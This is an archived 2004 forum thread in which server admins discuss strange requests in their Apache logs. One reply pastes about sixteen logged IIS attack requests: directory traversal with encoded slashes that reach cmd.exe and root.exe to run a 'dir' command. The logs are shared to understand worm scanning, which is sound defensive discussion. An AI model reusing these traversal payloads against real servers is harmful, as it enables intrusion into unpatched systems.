🔒 Locked

Strange HTTP Request.

Started by griffenjam Mar 10, 2004 at 4:55 PM 4 replies 800+ views

Original Post

133

Mar 10, 2004 at 4:55 PM

Every once in a while I get a HTTP request similar to the one below in my server logs: 193.6.174.95 - - [09/Mar/2004:21:20:48 -0800] "GET http://dc.tickerbar.net/tld/pxy.m?nc=42640859 HTTP/1.0" 404 343 "-" "-" I''m using Apache 2, do I need to worry about this? When I try to telnet to my server on port 80 and enter this request myself I just get my main page....is there something I''m not getting?

Michalson

178

Michalson

Mar 10, 2004 at 4:59 PM

Are you dc.tickerbar.net, or do you have a different domain but are getting requests for this?

Crispy

170

Crispy

Mar 10, 2004 at 5:46 PM

Mayhap you have the IP previously used by the above domain name.


"Finishing in second place, simply means you are the first loser." - PouyaCat

Axiom

Mar 10, 2004 at 6:19 PM

24.85.179.80 - - [30/Jan/2004:17:19:43 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 294
24.85.179.80 - - [30/Jan/2004:17:19:43 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 292
24.85.179.80 - - [30/Jan/2004:17:19:44 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
24.85.179.80 - - [30/Jan/2004:17:19:44 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
24.85.179.80 - - [30/Jan/2004:17:19:44 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
24.85.179.80 - - [30/Jan/2004:17:19:45 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
24.85.179.80 - - [30/Jan/2004:17:19:45 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 333
24.85.179.80 - - [30/Jan/2004:17:19:45 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349
24.85.179.80 - - [30/Jan/2004:17:19:46 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.85.179.80 - - [30/Jan/2004:17:19:46 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.85.179.80 - - [30/Jan/2004:17:19:46 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.85.179.80 - - [30/Jan/2004:17:19:46 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315
24.85.179.80 - - [30/Jan/2004:17:19:47 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 306
24.85.179.80 - - [30/Jan/2004:17:19:47 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 306
24.85.179.80 - - [30/Jan/2004:17:19:47 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316
24.85.179.80 - - [30/Jan/2004:17:19:51 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316

I get about 10 of these a day...
I'm assuming it's one of those viruses that tries to plant trojans through server security holes.

[edited by - Axiom on March 10, 2004 7:20:51 PM]

griffenjam

Author

133

griffenjam

Mar 10, 2004 at 8:18 PM

I also get requests for http://www.yahoo.com, I doubt that I have a IP Address that they recently had.

My domain name is jmickela.kicks-ass.net.

As foir the other log entry posted, I get that ALL THE TIME.
Unless you have IIS it''s nothing to worry about.

Nervo

101

Nervo

Mar 10, 2004 at 8:22 PM

quote:
Original post by griffenjam
Unless you have IIS it''s nothing to worry about.

I''m sure if he has IIS and that was a run of the mill exploit that IIS was probably already patched for such exploits already.

Topic Locked

This topic has been locked by a moderator. New replies are not allowed.